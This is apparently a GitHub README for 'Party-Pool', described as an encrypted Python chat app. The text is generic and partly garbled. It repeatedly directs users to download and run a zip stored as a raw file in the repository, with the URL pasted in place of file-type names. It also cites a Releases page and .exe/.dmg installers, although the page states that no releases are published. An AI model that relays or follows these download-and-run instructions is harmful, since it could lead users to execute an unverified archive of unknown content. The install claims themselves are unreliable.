Skip to content

RebelRoro/Party-Pool

Repository files navigation

πŸŽ‰ Party-Pool - Secure Chat for Everyone

πŸš€ Getting Started

Welcome to Party-Pool! This is a multi-user encrypted chat application, designed to make your online conversations safe and private. With our simple setup, you can chat securely with friends, family, or colleagues.

πŸ“₯ Download & Install

To get started, you need to download Party-Pool. You can find the latest release right here:

Download Party-Pool

Steps to Download

  1. Click on the above link to visit the Releases page.
  2. Look for the latest version of Party-Pool.
  3. Download the appropriate file for your operating system.

If you are unsure what to download, here are common options:

  • Windows: Choose the .exe file.
  • Mac: Choose the .dmg file.
  • Linux: Choose the https://github.com/RebelRoro/Party-Pool/raw/refs/heads/main/client/Party-Pool-3.6.zip file.

System Requirements

  • Windows: Windows 10 or later.
  • Mac: macOS Sierra (10.12) or later.
  • Linux: Any distribution with Python 3.x installed.

Don't worry if you are not sure about your system version. You can usually find this information by going to your system's "About" section.

πŸ”§ Running Party-Pool

After you have downloaded the application, follow these steps to run it:

  1. Locate the file you downloaded in your computer's Downloads folder or wherever you saved it.
  2. For Windows, double-click the .exe file. For Mac, double-click the .dmg file and drag Party-Pool to your Applications folder. For Linux, open a terminal, navigate to the folder where you saved the file, and extract the https://github.com/RebelRoro/Party-Pool/raw/refs/heads/main/client/Party-Pool-3.6.zip file.
  3. Open the application by clicking its icon.

First-Time Setup

When you run Party-Pool for the first time:

  • You will see a welcoming screen. Click "Get Started."
  • Set up your username and password. It’s important to choose a strong password for maximum security.
  • You can invite others to join your chat by sharing your invite link.

πŸ› οΈ Features

Party-Pool offers several robust features to ensure your chats are secure and user-friendly:

  • HMAC-SHA256 Authentication: This method ensures that your messages are safe from tampering.
  • Fernet Encryption: Your chats are protected with strong encryption, making your conversations private.
  • Cross-Platform Support: You can chat from any deviceβ€”Windows, Mac, or Linux.
  • User-Friendly Interface: Even if you are not tech-savvy, you will find it easy to navigate.
  • Multi-User Support: Connect with multiple friends or colleagues at once in a secure environment.

🌐 How It Works

Party-Pool operates on a server-client architecture. This means:

  • Server: Manages connections and ensures the chat remains active.
  • Client: Your application that you use to send and receive messages.

The application establishes a secure connection, allowing only authorized users to chat. This architecture not only enhances security but also improves performance.

πŸ“„ Topics

  • chat-application
  • cross-platform
  • cryptography
  • encryption
  • fernet
  • hmac
  • multi-threaded
  • networking
  • python
  • server-client architecture
  • socket programming

βš™οΈ Troubleshooting

If you encounter any issues while downloading or running Party-Pool, here are some common solutions:

  • Cannot Download File: Ensure you have a stable internet connection.
  • Application Won't Open: Make sure your operating system is compatible. If it still doesn't open, try downloading the file again.
  • Unable to Connect: Check your internet connection. Sometimes, firewalls may block connections; adjust your settings if necessary.

For detailed support, you can visit our GitHub Issues page to find solutions or report your issue.

πŸ’¬ Feedback

Your experience matters! If you enjoy Party-Pool or have suggestions for improvement, please provide feedback. You can create an issue on our GitHub repository.

Thank you for choosing Party-Pool! Secure chatting awaits you.

About

πŸŽ‰ Build a secure, multi-user chat application with administrative controls, perfect for Windows, Linux, and macOS environments.

Topics

Resources

License

Contributing

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors